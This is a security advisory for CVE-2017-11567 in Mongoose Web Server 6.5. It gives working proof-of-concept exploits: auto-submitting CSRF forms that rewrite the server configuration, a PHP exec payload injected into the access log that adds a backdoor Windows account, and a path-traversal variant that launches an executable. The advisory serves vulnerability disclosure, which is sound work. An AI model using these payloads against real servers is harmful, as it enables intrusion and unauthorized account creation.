Mongoose Web Server 6.5 CSRF / Command Execution

`[+] Credits: John Page AKA hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MONGOOSE-WEB-SERVER-v6.5-CSRF-COMMAND-EXECUTION.txt  
[+] ISR: apparitionSec   
  
  
  
Vendor:  
===============  
www.cesanta.com  
  
  
  
Product:  
==================  
Mongoose Web Server (Free Edition)  
Mongoose-free-6.5.exe  
Download: https://cesanta.com/binary.html  
  
  
Mongoose - GitHub's most popular embedded web server  
and multi-protocol networking library  
  
Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library  
with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more.  
  
  
  
Vulnerability Type:  
===================  
CSRF - Command Execution  
  
  
  
CVE Reference:  
==============  
CVE-2017-11567  
  
  
  
Security Issue:  
================  
Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page  
can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then  
executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe.  
Therefore, from my tests commands may become unstable when Mongoose is run as a service.  
  
When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc.  
to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated  
file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested.  
  
This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language  
"pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack.  
  
Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection  
to the server log.  
  
e.g.  
  
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1  
  
OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET.  
  
  
After Command Injection "Mongoose.conf" will be:  
  
# Mongoose web server configuration file.  
# For detailed description of every option, visit  
# https://github.com/cesanta/Mongoose  
# Lines starting with '#' and empty lines are ignored.  
# To make a change, remove leading '#', modify option's value,  
# save this file and then restart Mongoose.  
  
# access_control_list   
access_log_file C:\Mongoose.access.php <======= BOOM  
# auth_domain mydomain.com  
cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET  
# cgi_pattern **.cgi$|**.pl$|**.php$  
# dav_auth_file   
# dav_root   
# debug 0  
document_root C:\  
# enable_directory_listing yes  
# error_log_file   
# extra_headers   
# extra_mime_types   
# global_auth_file   
# hide_files_patterns   
# hexdump_file   
index_files Mongoose.access.php <======== BOOM  
# listening_port 8080  
# run_as_user   
# ssi_pattern **.shtml$|**.shtm$  
# ssl_certificate   
# ssl_ca_certificate   
# start_browser yes  
# url_rewrites  
  
  
  
Mongoose log file Command Inject to create backdoor.  
-----------------------------------------------------------  
  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -  
2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 -  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin  
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 -  
  
  
Tested Windows 7.  
  
  
  
Exploit/POC:  
=============  
  
1) add backdoor account POC.  
  
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">  
<input type="hidden" name="access_log_file" value="Mongoose.access.php">  
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php">  
<input type="hidden" name="index_files" value="Mongoose.access.php">  
<input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
2) TELNET x.x.x.x 8080  
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1  
  
Enter  
  
Enter  
  
TELNET x.x.x.x 8080  
GET / HTTP/1.1  
  
Enter  
  
Enter  
  
Done, backdoor added!  
  
  
====================  
  
1) run calc.exe POC.  
  
<form action="http://127.0.0.1:8080/__mg_admin?save" method="post">  
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe">  
<input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe">  
<input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe">  
<script>document.forms[0].submit()</script>  
</form>  
  
2) TELNET x.x.x.x 8080  
GET / HTTP/1.1  
  
Enter  
  
Enter  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=================================  
Vendor Notification: July 23, 2017  
Vendor Notification: July 28, 2017  
Vendor Acknowledgement: July 31, 2017  
Vendor Fixed released version 6.9 : September 4, 2017  
September 4, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`